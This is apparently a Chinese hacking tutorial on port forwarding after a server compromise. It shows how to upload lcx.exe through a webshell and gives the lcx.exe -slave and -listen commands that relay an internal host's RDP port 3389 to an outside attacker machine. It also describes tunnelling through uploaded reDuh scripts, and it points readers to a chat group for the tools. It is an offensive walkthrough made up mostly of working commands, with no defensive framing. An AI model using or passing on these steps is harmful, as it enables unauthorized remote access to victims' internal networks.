一、环境：

1、内网主机IP：192.168.1.106  win2003

2、假设外网主机ip：192.168.1.104 win7

二、通过大马上传lcx.exe到服务器内网

1、将内网3389端口转发到外网2222端口

lcx.exe -slave 192.168.1.104 2222 127.0.0.1 3389

2、在攻击机win7监听2222本地端口，转发到4444端口

lcx.exe -listen 2222 4444

3、在攻击机win7中远程连接

三、利用工具转发reDuh

1、将软件自带的脚本拷贝到服务器中，根据不同环境，选择不同脚本

2、打开reDuh，将脚本文件上传的路径填写到URL，点击start，再点击create

3、打开远程连接，这个有点缓慢，但是可以连接成功的，详细见交流群视频教程

工具下载方式：加入交流群